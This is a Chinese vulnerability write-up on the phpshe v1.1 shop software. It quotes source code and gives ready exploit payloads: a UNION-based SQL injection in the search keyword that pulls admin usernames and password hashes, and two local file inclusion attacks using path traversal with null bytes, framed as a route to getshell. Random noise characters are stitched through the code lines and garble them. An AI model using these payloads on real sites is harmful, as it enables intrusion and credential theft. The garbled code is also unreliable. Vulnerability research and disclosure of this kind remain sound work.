phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
0 z; e2 u7 C7 ]! L* i2 A/ f! B/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输



//common.php
& C! u2 f" n$ o3 ^if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
# G/ @* \  n% n/ [* G!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 d! h6 o8 i) @# U) U) h+ t6 B}
  J) {3 a9 c, A' I8 uelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
$ T+ Y  P9 e1 O6 Y!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
9 _: R, l2 m# c}
  i3 z  R  L9 H$ }. r, S+ p$ f: N4 Asession_start();
/ V8 U& c; p7 r7 f!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
* [4 ?& }. R) D4 p7 `0 S!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
/ K4 a' _6 l! P  X5 V: y
0×01 包含漏洞
8 e) G" j) E/ h- T
( f  t7 T7 ^* x
; O  l6 a( K- Q9 ~: K9 F8 `//首页文件
0 ?4 v6 ?' |# t# n<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
5 d+ B1 o( O6 e$ F) \  C5 D: \7 _& finclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' k( D$ D2 i& h: spe_result();
?>
//common 文件 第15行开始
9 K0 U: s& p/ Purl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 i4 H# U$ z+ ~$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
$ q; R( @" y* q
<code id="code2">

//product.php文件
% P  G' W! ^. t% p9 u' Qcase 'list':
" b1 J: _( d3 s. _$category_id = intval($id);
: d6 B$ b; g( m3 l$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
% {9 ?  V1 U9 S  s3 |3 y; Q1 U2 gpe_lead('hook/category.hook.php');
) n1 v! L4 Y) Y% c! Sif ($category_id) {
9 J- Z! R  Y5 K. ]- T7 z; M! L" Cwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
: Z& l  m. M2 @& i! G" _* N# g5 j, {7 o$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
1 o! Q* `8 \' Y6 J$sqlwhere .= " order by `product_id` desc";
}
- h; N3 e7 z( P  x$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
* L+ p4 O3 T6 h/ \( H0 W' Y$seo = pe_seo($info['category_name']);
' T" y& Z' g* `6 w- S8 F4 n2 O' Linclude(pe_tpl('product_list.html'));
/ N' r9 \" {9 }" v' `' N* ]" t9 S//跟进selectall函数库
0 u' ?; S; |9 T' F0 |public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
& `; Z9 @% b( q$ H8 @9 [- M{
( f$ |% k9 \2 {5 ?0 U//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 m" P% M4 m" \1 A# P}
//exp
8 J, ~) _! R- H! qproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

  s2 p5 }8 J- |( W, n0×03 包含漏洞2

" u8 _" c' w( h& s; O<code id="code3">

//order.php

case 'pay':

9 P8 Y" X- ?* U5 g) ]3 Q$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

! @9 q# @  l$ Q9 uforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

" N( ]; E- f) o# K5 _if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

2 ^$ v" n# O+ l) s  c/ v+ C, ?, j}

0 D- B2 d; w! U3 D+ q}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

8 I  ^3 I) q: C' k& S" r- w4 {!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- h" U4 h. R( E6 U* g/ i$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. O* _5 e' G8 ]" z  v+ [. S: cforeach ($info_list as $v) {

4 H6 O5 c% C; I: t) p$order['order_name'] .= "{$v['product_name']};";
( a/ u4 F( F" R. f# R8 [1 `

. N& L. b8 N+ r* j) o1 T}

( u2 [* [4 T0 Q% b/ v+ Jecho '正在为您连接支付网站，请稍后...';

9 C0 v  [0 a% R$ P" [include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

% g+ d, V  D' r4 r% T" o% S) ]) X}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

1 N+ _/ C" L# ope_error('支付错误...');

& L# N8 I+ p0 @& x9 ^. h7 Q}

) }) U$ d9 S' C7 E7 A}

$seo = pe_seo('选择支付方式');

! J9 r4 d5 x4 r4 y# V: l1 U& ainclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>